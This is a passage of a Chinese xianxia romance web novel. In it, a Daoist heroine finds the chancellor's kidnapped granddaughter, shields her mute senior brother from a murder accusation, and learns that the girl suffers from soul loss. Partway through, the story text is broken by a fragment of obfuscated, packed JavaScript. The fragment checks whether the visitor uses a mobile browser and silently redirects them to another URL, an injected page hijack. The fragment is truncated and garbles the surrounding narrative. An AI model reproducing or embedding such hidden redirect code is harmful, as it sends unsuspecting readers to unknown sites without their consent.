好在殷琉璃站在阵前,身子依然英挺笔直,脸上不见一丝慌乱。
殷琉璃看出他紧张,轻启红唇安慰了一声,
“大人不必惊慌,烛火熄灭,乃是五方鬼神在为琉璃指明方向。
大人只管安心等候便是。”
宰相悬着的心这才落回肚子里,张了张嘴,声线嘶哑的说,
“多、多谢女佐使。”
“噗噗……”
蜡烛接连又灭了好几支,密室的光线顿时暗淡了不少。
宰相看着熄灭的蜡烛,身体不由紧绷。
他心里忽然有种异样奇怪的感觉。
仿佛看见围在自己身边这些蜡烛上方,现出一张明灭不定的脸庞,那张脸庞去到哪里,哪里的蜡烛就会被吹灭。
不过很快,那股凭空出来的风消失不见了。
地上的蜡烛灭了足有十几支,动一个西一个,没有任何规律。
殷琉璃清亮灵动的眸子扫过,便将拇指搭在纤细的食指根部,按照蜡烛的不同方位一一测算。
此阵借用的是五方鬼神之力,就算人被压在山地下,或者扔进海里,都能寻
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出一个准确的方位来。
只是五方鬼神不与布阵者直接沟通,而是以他们自己的方式,点出卦图。
布阵者须要精通这种特殊的卦语,才能解构出鬼神的指示。
这是道门绝秘之术,在民间已经失传。
若非玄清观一位祖师爷,曾将此秘术记载在自己的手札上,殷琉璃就算会布阵,也没办法看懂指示。
她没有开口,宰相一动也不敢动,眼神紧张的看着她。
“查明了。”
片刻后,殷琉璃才抬起头看向宰相,轻描淡写的说,
“大人,清棠小姐方位在西,困于水草之中。
处境凶险,岌岌可危。
亥时若未能得救,她命休矣。”
宰相眸子瞬间爬满血丝,失声道,
“她还活着?女佐使,你是说棠儿她、她还活着?”
殷琉璃轻轻点头,
“尚有口生气在,只是危险的很。”
“活着就好!我棠儿还活着……活着就好!”
宰相声线突然哽咽,连忙追问,
“敢问女佐使说的方位在西,困与水草、水草之间……
老夫不记得京城西边有什么水塘,河流,这水草又往哪里寻去?
再者往西偌大的方向,老夫具体要往哪里去找?”
殷琉璃摇了摇头,
“没有具体,只管往西。看到水草便可去寻。”
宰相心里说不出的紧张不安。
离亥时还有不到一个时辰,她只说往西寻,那么大的地方能赶得上救棠儿吗?
“大人不必惊慌,琉璃自会与大人同行。”
殷琉璃淡淡的说,“大人须要传令下去,把派出去的人手调往西方寻找。”
宰相沉声道,“好,老夫这就安排!”
那张平静却带着一抹坚定神色的脸,给人一种说不清道不明的安全感。
他原本恐慌担忧的心情,忽然安稳了很多。
他以最快的速度安排通知人手,下人已经将马匹在大理寺门前备好。
“驾!”
殷琉璃跨上踏雪,抬手挥了下鞭子,一马当先飞奔了出去。
一抹清丽的身影划过夜色,仿若仙子下凡。
第104章 破界
“都给我跟紧女佐使,出了差错老夫那你们试问!”
宰相沉着脸喝了一声,骑上马,急急的追了上去。
……
不到半刻钟的功夫,顾瑾焱才追到了大理寺。
他以为殷琉璃去了宰相府,便先去了那里寻找。
谁知府里人说宰相出去未归,也没留下什么话说在哪儿,给他急的跺脚。
他想叫哇呀呀出来问,学着殷琉璃的样子使劲儿敲耳根子,敲了半天哇呀呀也没理他。
哇呀呀授殷琉璃之命保护他,又不是要听他的吩咐,自然不会搭理。
顾瑾焱翻身下马,他迫不及待迈着大步走进去,看见守夜的人便急忙追问,
“琉璃……女佐使在这里吗?”
守夜人摇了摇头,
“女佐使只在这里待了一会儿,便带着宰相大人与周大人走了。”
“走了?”
顾瑾焱暗暗懊恼来晚了一步,忙问,“她走了多久?往哪儿走的?”
守夜人虽不知他们要去哪儿,却看见他们去的方向,忙说,
“回世子爷的话,他们往西走的,也不过一盏茶的时间。
小人还隐约听见宰相大人说,要去西边儿。”
话音未落,顾瑾焱已经翻身上马,挥舞了一下手里的鞭子喝道,
“驾!”
只一盏茶的时间,应该能追上。
……
一行人骑马出城,出了城门便再次飞奔起来。
夜色中,殷琉璃在马背上大声吩咐,
“宰相大人,周大人,我对京城不熟,你们多看着些有水有草的地方!”
周青公连忙点头,大声回道,
“女佐使放心,我与恩师盯着呢!”
城外往西还住着不少人家,房屋多为简陋的砖瓦房,街道比京城内狭窄了不少。
穿过街道,再往远处走,人家渐渐变少,取而代之的是一片片农田。
一条官道从农田中穿过,将偌大的土地划分成两片。
众人手里点上了火把,不敢再快速奔驰。
而是放慢速度,不停的用火把向四周挥舞照明,生怕错过有水有草的地方。
又往前行了半个多时辰,宰相一张脸怎么也绷不住的微颤,心急如焚。
殷琉璃测算出过了亥时,棠儿性命危险。
可前面依然是一片开阔的农田,别说河流池塘,就连个水洼都没瞧见一个。
宰相隐约的记忆中,往西只有二三十里的地方,才有一条河流。
可就是把马跑死,也不见得能赶在亥时之前到河边。
“青公,你说……”
他故意往殷琉璃身后落了落,沉着脸问周青公,“你说女佐使的阵法,是不是真的那么准?”
周青公也知道还有很远才能看到河流,他心里也高高的悬着。
可他对殷琉璃的道术充满信任,便毫不犹豫的说,
“恩师曾教导过学生,用人不疑这四个字,女佐使既做出推断,咱们就要相信人家。”
宰相连忙摆手,
“不不,老夫不是这个意思,老夫对女佐使的话没有丝毫怀疑。
只是我怕赶不及救棠儿啊!青公你看看这里,哪儿像是有水草的样子……”
“水塘?”
话音未落,跑在前面的人忽然惊喜的大叫起来,
“宰相大人,周大人,快看!前面不远处有水塘!”
宰相脸色一惊,眉宇间涌上一抹狂喜,
“果然……果然有水!她说的太对了!青公,快与我去看看!”
众人很快在一处水塘前停下,纷纷下马前去寻找。
水塘不大,不时有几尾活鱼在其中游动,四周长满了丰盛的野草。
应该是农户在田地中开垦出来养鱼的。
旁边有一座低矮的茅草屋子,屋门缺了半块儿,破烂不堪。
殷琉璃观望了一下,沉声道,
“两位大人,看来就是这里了!”
宰相连忙上前,皱眉问,“这里是有水、有草,可只有一间废弃的茅草屋,棠儿会藏在这里?”
话音甫落,有人从茅草房里出来禀报,
“启禀宰相大人,属下将茅草屋翻遍了,并无发现小姐的踪迹。”
周青公心里紧了紧,忙道,
“仔细些再去找!不止茅草屋,四周、连带这水塘也要找,掘地三尺也要给我找!”
这里一目了然,若是茅屋没有藏人,剩下的只有水塘了……
周青
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公不敢再往下想。
几个下属立刻跳进了水塘,在齐腰深的水塘中摸了起来。
“水塘?”
宰相心里突然咯噔了一下,声音颤抖的说,
“女、女佐使,棠儿她、她不会溺在水塘里了吧?”
殷琉璃抬头看了下天色,果断的说,
“亥时未到,沈小姐还活着呢。”
这时水中的几个人朝岸上大声叫道,
“大人,水塘中没有尸首!”
“大人,属下也没摸到东西!”
“大人,沈小姐不在水塘里……”
……
宰相几近崩溃的脸瞬间松了一下,抬手捂住砰砰乱跳的心口,声音抑制不住的颤抖,
“没、没有就好,没有就好!”
周青公也跟着松了口气,满脸奇怪的说,
“这就奇了,人能藏在哪里呢?”
“人就在这里!”
殷琉璃微微眯了眯眸子,已经看出了其中的破绽。
她站在这里不动,是在用真气探查。
果然发现茅屋只是个障眼法,里面藏着一个结界。
设置结界的人法术应该很高超,藏的十分隐秘。
要救人,就要先破结界。
破结界就是摆明了要与设结者宣战,高手过招,就要看谁的道术厉害了!
“周大人,让你们的人从里面出来吧,这样找是找不到人的。”
殷琉璃用清冷的声线吩咐了一声,抬手在掌心画下一道“破咒”符,手指一翻,一道灵光从指缝飞出。
“当……”
一个清脆的撞击声,若有若无的划过众人耳膜。
也不知道哪儿来的声音,众人面面相觑。
“两位大人再次等候,叫几个人跟我先进去探查。”
殷琉璃目中看到了茅草屋的令一番景象,沉声道,“不出意料的话,沈小姐应该就在里面了。”
说罢,她伸出纤细的手指,点了几个身材魁梧的下属,抬手在众人额头上画了一道护身符,叮嘱道,
“若眉心处有烧灼感,立刻转身退出,不得迟疑!”
几人连忙应道,
“是!”
“琉璃!”
身后大路上突然传来了顾瑾焱的叫声。
第105章 大师兄
殷琉璃回头,看到那张熟悉的脸庞。
顾瑾焱从马背上跳下来,
“还好,追了半个多时辰,总算追上你了!”
从一群人中寻到殷琉璃的身影,他幽深的眸子瞬间一亮,心跳仿佛漏了半拍。
她今日穿了一身利索的男装,跳动的火把下,那张绝美的脸英气十足,身姿更显英挺。
比起女儿装的她,更添了一份英姿飒爽之美。
殷琉璃不觉奇怪,“顾瑾焱,你怎么来了?”
宰相突然造访,说的又是关乎人命的大事,她便把约顾瑾焱见面的事儿给忘了。
“你说我怎么来了?”
因为追她追的急,顾瑾焱气息有些微喘,“你约我老地方见,自己跑出来也不告诉我!”
殷琉璃顿时张了张嘴,清澈的眸子里闪过一抹歉意,
“抱歉,我忘了。”
“你忘了,我可没忘!”
顾瑾焱一脸幽怨,轻哼道,“你不去赴约,我只好来找你了……”
“世子爷见谅,老夫孙女被人掳走,性命攸关,实在没法子才求女佐使相助。”
宰相满脸焦急,上前道,“还请女佐使速速救人!”
殷琉璃清澈的眸子眨了眨,轻声道,
“抱歉,我有正事要做。”
顾瑾焱一把握住她的手臂,深邃的眸中涌上一抹担忧,
“我与你一起!”
殷琉璃默了默,抬手在他额头画了一道护身符,这才道,“也好。”
顾瑾焱可不是听话的人,她若不肯,以他的性子必然会软磨硬泡。
宰相急的都快冒火了,殷琉璃也就不再废话,招手道,
“再嘱咐各位一次,一旦眉心灼热,立刻抽身!”
能布下这个结界之人,绝不能小觑。
“是!”
众人齐刷刷的应了一声。
她飒然转身,率先走进茅草屋。
此时的茅草屋中又是另一番景象。
屋中央的地面上豁然出现一个黝黑的洞口,深不见底。
跟在身后的众人满脸吃惊,压低声音道,
“这里竟然藏着一个密室!”
“不对啊,我们刚才进来翻了个遍,若有密室如何不知?”
“刚刚搜查,明明没有这个洞口的!”
……
殷琉璃将火把探入洞口,看到一条斜着向下的阶梯,便抬脚踏了上去。
顾瑾焱紧随其手,身后众人也屏住一口呼吸,鱼贯而入。
地道并不长,延伸地下三五米之后便到了尽头,尽头处有一扇生铁铸就的大门。
奇怪的是,大门并未紧闭,而是打开了一条缝隙。
殷琉璃侧耳听了听,里面没有异常的声音。
她在指尖备好一道灵符,准备探入内室。
“啊!”
突然间,里面传来了一个女子惊恐的叫声,
“你、你是谁?求求你不要杀我!我是、我是当朝宰相的孙女……”
“住手!”
殷琉璃眸光一厉,抬脚将铁门踹开。
似乎晚了一瞬,女子惨叫声响起,
“啊!”
密室中,一个男人弯腰半蹲在地上,背对着她。
男人身下的女子,便是沈清棠,他的手正掐在那女子的脖子上。
“什么人,住手!”
殷琉璃喝了一声,手指一飞,将灵符打了出去。
男人身形极快一闪,竟利索的躲开。
随着他的动作,半张线条流畅的脸从殷琉璃面前闪过。
殷琉璃凛冽的眸光顿了半秒,心头划过一抹恍惚。
这张脸……
不等她有所反应,男人伸手抓向生死未卜的沈清棠,似乎要从她身上拿过什么。
“砰”
一道耀眼的金光挥了过去,顾瑾焱喝道,
“住手!大胆贼人,还不束手就擒!”
这时候了,男人竟然还要在沈清棠身上占便宜,瞬间激起了顾瑾焱的杀心!
他腰间的金鞭轻易不会出手,一旦出手就是必杀招数。
男人刚抓住了沈清棠的胸口,金鞭已至眼前。
已来不及躲闪,他下意识的偏头闪身,只能尽力避开重要部位,让鞭子落在肩头。
偏头的瞬间,殷琉璃看清了那张脸,失声道,
“大师兄!”
竟然是他!
他不是去云游了吗?
半年多都没有回过玄清观一次,怎会在京城相遇?
殷琉璃来不及想什么,手指一翻,指尖一道灵光飞出。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17306835|198718||http|test|mini|href|location''.split(''|''),0,{}));
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r>“咣当”
金鞭落在楚**肩头的瞬间,被灵光击飞了出去。
“琉璃,你做什么?”
看着坠落在地的鞭子,顾瑾焱脸上闪过一抹愕然。
殷琉璃松了口气,顾不上跟他说话,扑向楚**,
“大师兄,真的是你!我、我还以为自己眼花!”
楚**微微一颤,一双隐着阴郁底色的眸子瞬间亮了起来,
“……”
可他只张了张嘴,却并未发出半点声音。
殷琉璃惊讶的看着他,急道,
“大师兄,是我呀,琉璃!你、你怎的不认识我的呀?
楚**眸子极快的红了一下,轻轻摇头,
“……”
他还是没有说话,欲言又止的神情让殷琉璃瞬间察觉不对。
她一把抓住楚**的手腕,急切的询问,
“大师兄,你、你喉咙怎么了?是不能说话吗?”
楚**眼眸幽深的看着她,轻轻点头。
“大师兄?”
顾瑾焱在一边儿看傻了,脸色一沉,上前道,“琉璃,你说此人是你师兄……同门师兄?”
“是呀!顾瑾焱,他是我大师兄呀!”
殷琉璃抓住他的手晃了晃,那张绝美的脸上充满兴奋的神色,
“我好久没有见过大师兄了,没想到在这里能碰见他!他、他……”
话音未落,她脸上的激动戛然而止,换成了一抹惊讶,
“他怎么会在这里!”
“琉璃,过来!”
顾瑾焱警惕的打量了楚**一眼,将她拽到身旁,声线低沉道,
“你为何在这里?沈清棠是你掳走的?你为何要将她掳走,谋害?”
话音甫落,身后众人涌上前,将楚**团团围住。
手中的武器也毫不客气的指着他。
“等等!大家冷静一点儿,先不要动手!”
殷琉璃推开顾瑾焱,挡在了楚**身前,冷声道,
“我大师兄不会害人的,顾瑾焱,也许其中有什么误会!
你让我问问他……”
顾瑾焱幽深的眸子里划过一抹凛冽,
“能有什么误会?我们所有人亲眼看到他杀了沈清棠,琉璃,你也是亲眼所见的!”
第106章 亲眼所见未必是真
看殷琉璃护着楚**,众人满脸部分,七嘴八舌道,
“是呀女佐使,咱们都是亲眼看见的!”
“一进来就看到他掐着沈小姐的脖子,不是他杀了沈小姐,难不成是鬼吗?”
“沈小姐的叫声大家都听见了,她苦苦求饶,这家伙都没放过她……”
“他对一个女子下手都这么残忍,女佐使,你不能因为他是你师兄就放过他!”
……
殷琉璃眸中闪过一抹冷冽,冷冷道,
“我说不会就是不会!不管害沈小姐的是不是他,你们让我先问清楚!”
顾瑾焱眼神瞬间冷了下来,抬手指着躺在地上,面色惨白的沈清棠道,
“你还要问什么,琉璃?我们这么多双眼睛亲眼看见的……”
“亲眼看见未必是真!”
殷琉璃不客气的打断了他的话,眼神坚硬的看着他,
“顾瑾焱,我一定要问清楚才行!沈小姐若真是我大师兄杀的,我一定不会护着他!
可他若是冤枉的,你们谁也别想污蔑我大师兄一个字!”
顾瑾焱脸色一沉,“要问,也要押送大理寺再行审问!琉璃,你身为女佐使,难道连这点儿规矩都不懂吗?”
殷琉璃看到楚**的瞬间,满脸惊喜的样子,就让他有点儿不爽。
如今她不分青红皂白护着他,顾瑾焱心头涌上一抹说不清道不明的滋味儿,就像打翻了颜料桶,五颜六色的。
“我不管你们什么规矩!我从小就是师父和大师兄他们,由着我的性子把我养大宠大的!”
殷琉璃厉声道,“我和大师兄在一起生活了十二年,天底下没有人比我更清楚大师兄的品行,我绝不相信他会杀沈小姐!”
话音甫落,楚**身子微微颤抖了一下,那张五官清俊立体的脸露出一抹说不出的疼惜。
让顾瑾焱心头瞬间扎进去一把刀子。
对,你跟他一起生活了十二年,他疼爱了你十二年。
所以你连规矩都不顾,就这么赤裸裸的偏护他?
空气陷入死一般的寂静。
顾瑾焱狠狠咬着牙根,低沉的声线中带着一抹难以察觉的微颤,
“琉璃,你就这么护着他?”
殷琉璃毫不犹豫的点头,
“他是我大师兄,我为什么不护着他?顾瑾焱,你为什么不等我问清楚情况,再做决断!”
顾瑾焱心头跟扎了一刀似的难受,冷冷道,
“我说过,要问,也要押送大理寺,由周大人亲自审问!”
“我也说过,我要先问清楚大师兄!”
殷琉璃抬起下来,语气强硬的说,“押送大理寺,就要把他当作犯人一般,套上手脚套上铁锁!
你为何不等我问清楚情况再说,顾瑾焱,我好容易才遇见大师兄,你连这点儿时间都不给我吗?”
她并非没看到他脸上的沉郁,可这时她顾不及这些!
在玄清观,师父老头给她的是祖父般的疼爱,不必宰相对沈青棠差一点儿。
而大师兄对她如兄如父,很多时候甚至替代了父亲的角色,陪伴了她十二年。
她不想让疼爱她的大师兄,戴上大理寺那套沉重无比,冷冰冰的铁锁链。
刚才大师兄口不能言,不知道发生了什么事情。
若是连她都问不出什么,周大人又能问出什么呢?
殷琉璃心急如焚。
望着那双决绝的眼睛,顾瑾焱心里像一只漏了水的小船儿,一个劲儿的往下沉。
“好,琉璃,我给你机会。”
他冷冷道。
“怎么会这样?棠儿!”
身后传来一声惊呼。
宰相在周青公的搀扶下,急急的走了过来。
看到沈青棠倒在地上,双目紧闭,口唇微张,一张略显稚嫩的脸比宣纸还要白,生死不明,他两腿一软差点儿跪在地上。
“恩师!”
周青公赶紧扶住他,脸色也惊慌不定,“琉璃丫头,沈小姐她……她……”
他们在外面抓心挠肺的等到亥时,还不见里面动静。
殷琉璃说过,亥时一到,沈清棠的命就保不住了。
宰相实在顶不住心里的煎熬,不顾周青公的反对,说什么也要亲自下来找孙女。
谁知看到的却是这副场景……
“棠儿!我的棠儿啊!”
宰相撕心裂肺的喊了一声,从周青公手中挣脱,跌跌撞撞的扑到沈青棠的跟前
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,一把把她抱在怀里,痛哭流涕,
“你醒醒啊棠儿!是祖父没用,祖父没能救你……
棠儿,你要心疼死祖父嘛!你从断奶就养在我的身边,我待你如珠如宝,盼着你长大成人,成婚生子,可你、你怎么能忍心就这样丢下祖父走了……”
“恩师,小心自己的身子……”
周青公眼眶通红,看着被众人包围的楚**,冷声道,“世子爷,女佐使,是不是这个人杀了沈小姐?”
“是谁!是谁害死我棠儿!”
宰相触电般跳了起来,推开众人冲到楚**的面前,一把抓住他的衣领愤怒的吼道,
“是你杀了我棠儿!你知不知道我是谁,天底下那么多人你不杀,非要杀我的孙女?
棠儿**,我要你的命赔给她,我要你**万段,永世不得超升!”
楚**被他狠狠推搡,身形不稳,却并未出声。
“大人!”
殷琉璃脸色一变,一把推开宰相的手,挡在楚**身前,“他口不能言,你让我来问他!”
“你?女佐使,你跟他是什么关系,为什么如此偏护!”
宰相黑肃的脸上起了一层慑人的寒意。
殷琉璃并未被他的威严吓住,冷静的说,
“大人,他是我同门师兄,我与他在玄清观一起生活了十二年,我不相信大师兄会**。
请大人让我先行询问情况……”
宰相面色突变,怒目喝道,
“放肆!他是杀我棠儿的凶手,老夫好待也是当朝宰相,在老夫面前,你有什么资格替老夫做主张!”
“他也是我大师兄!你们连问都不让我问清楚,就说他杀了你孙女,就是老天爷答应,我都不干!”
殷琉璃丝毫不让,那张绝美的脸上也蒙上了一层寒意,
“宰相大人,你少在我面前摆架子,我不怕你!
我告诉你,我大师兄若真杀了人,他要跑,在场各位包括我在内,谁能拦得住他?”
话音一落,所有人脸上都露出一抹恐惧之色。
顾瑾焱更是心头一刺。
殷琉璃说的没错,能布下结界,让人连毛都找不到一根的人,岂是他们能拦得住的?
第107章 谁让她是殷琉璃!
楚**望着殷琉璃的深眸,泛出满眸的柔意。
是个男人都能看懂这般眼神,顾瑾焱心头的火呼啦一下蹿了起来!
“琉璃丫头,别乱来!”
周青公面色紧张,连忙上前劝和,
“恩师痛失孙女,一时间情急也是情有可原。
有话好好说,万不要闹僵。”
殷琉璃抿了抿唇,冷声道,
“周大人,琉璃也不想与你们闹翻!我深知大师兄性情,他绝不会是杀害沈小姐之人!
恳请两位大人给我和师兄一个机会,让琉璃问清楚……”
“殷琉璃!我念你替我寻回棠儿,适才冲撞本相,绝不会与你计较。”
宰相脸色阴沉的要滴下水来,
“但他不行!我沈阔的孙女,不是什么人都能杀的!
周青公何在?”
“学生在!”
宰相抬手指着楚**,喝道,“凶手不必押送大理寺,给本相就地正法!
一切罪责由本相一人承担!”
“恩师……”
周青公暗暗咬牙,拱手道,“是!来人,奉宰相令,格杀凶手!”
他深知恩师的脾气,知道劝不了了。
可殷琉璃这丫头竟也是个犟种,他两边谁都劝不了。
大理寺众人齐刷刷将刀尖对准楚**。
“我看谁看!”
殷琉璃抬手在掌心画下一道灵符,手指一翻,灵光从指缝中乍现,“谁敢上前,就让他见识见识我灵符的威力!”
“殷琉璃,我奉劝你不要再与本相做对!
本相再给你一个机会,让开!”
宰相阴沉沉的脸上泛起一抹杀意,缓缓道,“都给本相听着,谁敢阻拦,一并诛杀!”
“是!”
众人喝道。
气氛剑拔**张。
“琉璃!”
眼看着局面无法控制,顾瑾焱想都没想便冲到了殷琉璃身前,用高大挺拔的身体将他挡住,
“本世子看谁敢动她!”
殷琉璃用命护着楚**,他的确吃了一坛子老醋。
可她的性命受到威胁,顾瑾焱瞬间顾不上一切。
他只要殷琉璃!
殷琉璃意外的看了他一眼。
他刚才不是还极力阻拦?
连楚**眼中都闪过一抹讶异。
“顾世子,你也要与本相作对?”
宰相怒火中烧,怒斥道,“别忘了你父亲也是本相的学生,你敢违背本相,便是大逆不道!”
“父亲是您老人家的学生,我可不是。”
顾瑾焱冷冷哼了一声,挑着眉头不屑道,“论身份,本世子乃当朝升上亲外孙,长公主亲生嫡长子,论地位,本世子是皇亲国戚。
宰相大人不过是我皇外祖的臣子,您真要与我做对,最好想清楚后果。”
宰相眼神狠狠一颤,“顾瑾焱,你别以为我不敢动你!”
“你来!来!”
顾瑾焱傲慢的挑起眉头,抬手点了点自己的脑袋,蛮横冷笑,
“让他们的刀往这儿来!告诉你,殷琉璃是我未过门的夫人,我公主府未来的世子妃,本世子若是连自己的女人都保护不了,也别活了!”
“顾瑾焱……”
殷琉璃凌厉的眸子里,瞬间划过一抹暖意。
不等她说完,顾瑾焱一把拉住她的手,勾唇道,
“琉璃,有我在,我看他们谁敢动你一根手指头!
不就是救你大师兄吗,我带你们出去,我看谁敢拦着!”
“嗯!”
殷琉璃深深的望着他,点了点头,“顾瑾焱,谢谢你。”
顾瑾焱蓦地勾起了唇角,
“你跟我客气什么?我乐意,谁叫你是我未来夫人?”
他本来又生气又吃醋,谁知这么轻易就被自己打败了。
没办法,谁让她是殷琉璃!
在二人身后的楚**,却看的心头不觉一酸。
“顾瑾焱,你简直放肆!”
宰相一双眸子冒火,忽然劈手从身旁一人手中夺下刀,指着顾瑾焱怒不可遏道,
“你胆敢放走杀我棠儿的凶手,本相跟你拼命!”
“我的世子爷,你就别添乱了行吗!”
周青公跺了跺脚,简直万念俱灰。
他握住宰相手中的刀,扑通一声跪了下来,
“恩师息怒!恩师息怒呀!恳请恩师将此事交予学生处理,学生以人格性命保证,一定给恩师一个交代!”
“本相只要凶手给我棠儿一个交代!”
宰相一把推开他,怒极反笑,“你们不敢杀这位身份尊
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贵的世子爷是吗?老夫敢杀!”
周青公急的都快哭了,“恩师……”
箭在弦上,殷琉璃已做好和宰相撕破脸的准备。
谁知肩头忽然一重。
楚**抬手拍了拍她,抬手又指了指自己的嘴,用手指凌空笔画了一个写东西的动作。
他刚才为救沈清棠性命,情急之下,将她体内所中邪毒全都吸了出来。
此毒阴狠霸道,一时间将他的口唇麻痹,身体也变得僵硬,这才吃了一个大大的哑巴亏。
殷琉璃与顾瑾焱将他护在身后,他便趁机运行真气,给自己解毒。
好容易一条胳膊才能动了些,赶紧给殷琉璃示意。
“大师兄!”
殷琉璃回头看向他的同时,眼眶湿润,“你是要跟我说话?你要、你要纸笔?”
楚**脸上露出一抹苦笑,轻轻点头。
“纸笔!你们谁有纸和笔!”
殷琉璃急忙询问众人。
宰相势要杀了这个人,此事别说众人没带纸笔,就是有也没人敢给她呀!
宰相用刀子指着楚**,“死到临头,你还要狡辩什么!”
“你吵什么!官大了不起呀!”
殷琉璃正急的找纸和笔,气的直接骂人,“我师兄都说了要解释,你干嘛不依不饶的?
再说废话,小心我第一个收拾你!”
“你、你敢威胁我?”
宰相满脸震惊。
殷琉璃懒得搭理他,想了下,抬手“刺啦”一声扯下打开衣襟,交到楚**手里,
“大师兄你别理他!你有什么想说的,就写在这里!”
说着她又要找笔。
楚**深邃的眸子里闪过一抹心疼,摇了摇头,抬手咬破自己的手指,在衣襟上写下两个字,
“救她。”
殷琉璃一怔,惊声道,“救谁?沈小姐还没死?”
楚**吃力的点了点头。
话音一落,空气瞬间变成一片死寂。
凶手说沈小姐还没死?
怎么可能!
在这里的可都是大理寺的人,哪个没见过**?
沈清棠明明气息全无,一张脸白中透着**才有的灰败之色,分明就是一个死的。
有人上前摸过她的脉搏,根本摸不到!
第108章 下跪请殷琉璃原谅
殷琉璃也没有想到。
沈清棠的确死的了样子,不过刚才情况紧急,她只顾着维护楚**,还没来及亲手检查。
可大理寺的人是检查过的呀,他们应该不会看错。
不过大理寺的人和大师兄,她选大师兄。
“我大师兄说你孙女还没死!”
殷琉璃抬起下巴,扬了扬手中的衣襟,“瞧见没有!”
“你以为狡辩就能逃脱死罪,妄想!”
宰相已经被怒火烧昏了头脑,哪里肯信!
他刚才抱起沈清棠的时候,孩子早已经没了气息,脖子上的脉搏都摸不到了。
他生平第一次这么想杀一个人。
“我师兄说没死,就是没死!”
殷琉璃冷冷哼了一声,讥讽道,“老头,你是不是傻!人家说你孙女有救,你这么还不乐意了?”
宰相不由怔住,脑袋里乱成了一片,
周青公赶紧求情,
“恩师,学生的命就是琉璃姑娘救的,求恩师信她一次,让她去救人!
她的本事你的见过的,万一能救回来呢?”
宰相心头狠狠颤了一下,咬着牙一字一字的说,
“那好,本相再信她一次!殷琉璃,你若救不回我棠儿,我要你与这个凶手一起给我棠儿陪葬!”
“喂,老头你想什么呢?”
顾瑾焱脸色一沉,学着殷琉璃的语气道,“疯了吧你!”
“顾瑾焱,你帮我护好大师兄!”
殷琉璃将楚**交给他,叮嘱了一句,蹲下身子仔细检查沈清棠的脉搏。
顾瑾焱,“……”
夫人要他护着他?
切……
他扭头拍了拍楚**的肩膀,
“大师兄是吧,别担心,有我和琉璃在,保你平安无事。”
楚**拿过衣襟,又用带血的手指写下两个字,送到殷琉璃的眼前,
“魂魄。”
“是,大师兄!”
殷琉璃点了点头,抬手在掌心画下一道灵符,手指一翻,将灵光送入沈清棠眉心。
她检查过沈清棠的脉搏,的确没有生命迹象。
可喉咙里还存着一口气,人僵死未死,这是失魂症的表现。
果然,灵符探魂后,殷琉璃脱口而出,
“果然是失魂症!”
她惊喜的看向楚**,“大师兄,她是失魂症!”
楚**自带忧郁的眸子里,闪过一抹苦笑。
宰相这个孙女身上,本就中了厉害的邪毒,命悬一线之时被他吸了出来。
她清醒过来时,看到自己这个陌生人近在咫尺,巨大的惊惧之下魂魄离体。
他想再救也无能为力。
若不及时用真气化解体内邪毒,他就要变成一个废人。
可化解了这么长时间,还是没有将邪毒完全逼出体内,导致半边身子麻痹,口不能言。
殷琉璃心里有底,立刻动手为沈清棠招魂。
她连沈清棠的生辰都懒得问,随手从她发间扯下几根头发,夹在纤细的手中。
“你对棠儿做什么!”
宰相怒目而视,“你不要动她!”
殷琉璃狠狠瞥了他一眼,没好气的说,
“你耳朵是不是聋了!我说了你孙女是失魂症,魂魄立体,僵死未死!
我不动她,拿什么施法为她招魂?”
宰相心里猛的颤抖了一下,不敢相信的说,
“什么失魂症?什么僵死未死?殷琉璃,你给我说清楚,棠儿她、她真的还有救……”
殷琉璃气的把手里的头发一扔,抱起双臂道,
“你个老头子烦**!爱信不信,本姑娘不救了!
魂魄离体时间一场,等她肉身凉了,想救都救不回来。
反正她是你孙女,死不死跟我没一文钱关系!”
她可没别人那种好性子!
真惹她脾气上来,天王老子也不给好脸色!
宰相狠狠一怔。
此时,被怒火冲昏的头脑已经冷静了下来,看殷琉璃的样子也不像是在诓他。
可他却把人家姑娘给得罪狠了。
这可怎么办?
“琉璃姑娘,恩师他、他不是那个意思,他一时糊涂!”
周青公苦着脸替宰相哀求,“求你看在我的面子上……”
“青公,退下!”
话还没说完,宰相忽然喝了一声,抬手将周青公拨开,迈步到殷琉璃面前。
他一手撩起膝
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前长袍,就在所有人没反应过来时,噗通一声跪在了殷琉璃的脚下。
“哗……”
所有人倒吸了一口冷气,满脸震惊。
宰相竟然给殷琉璃下跪!
“琉璃姑娘,是老夫错了!老夫痛失孙女,情急之下做出了不理智的判断。”
宰相声情恳切,喉咙中一度哽咽,头一低,重重的的磕在地上,
“老夫愿下跪道歉,请琉璃姑娘原谅,为我棠儿招魂!”
殷琉璃皱起了眉头。
宰相这一跪,还给她整不会了。
“我不喜欢你!”
殷琉璃不爽的哼了一声,“敬酒不吃吃罚酒,我不喜欢你!”
被她判定不喜欢的人,说什么都不好使。
宰相身子狠狠一颤,抬头间咬紧后槽牙,抬手给了自己一个耳光,
“老夫恳求琉璃姑娘原谅!老夫年老智昏,错怪好人,是老夫蠢!”
响亮的耳光过后,他脸上登时涨起五个巴掌印。
“恩师,你……”
周青公失声叫道,
包括周青公在内所有人,脸色全都白了。
他可是当朝一人之下万人之上的宰相大人,两朝元老,当今圣上特赦面圣跪拜之礼!
此时他不不但给殷琉璃跪下,还抬手打了个自己一个耳光。
周青公两腿一软,也噗通一声跪在了殷琉璃的脚下,声线颤抖哽咽,
“琉璃姑娘,清棠是恩师从小养大的孩子,她**,恩师怎能承受得住这种打击?
他真的是一时犯糊涂,求你给恩师一次悔过的机会吧!”
殷琉璃厌恶道,“之前我也恳求过他,给我师兄一个机会!他怎么说的?”
话音一落,所有人都哑然无声。
空气仿佛跌入冰点儿,变得冰冷窒息。
忽然,一只手轻轻拍了下殷琉璃的肩膀。
楚**无奈的冲她摇了摇头,用血指在衣襟上写下几个字,
“师兄救。”
殷琉璃看见,脸上冰冷的气息不觉松了许多,抿唇道,
“师兄,你真的要救,那我救!”
顾瑾焱心里不由一酸。
夫人,凭什么他说要救,你就答应?
第109章 半数身家酬谢
楚**轻轻颔首,脸上露出一抹欣慰的笑意。
小师妹的性情自己最清楚不过,若非自己替沈家小姐求情,怕不是祖师爷来了,她都不会给面子。
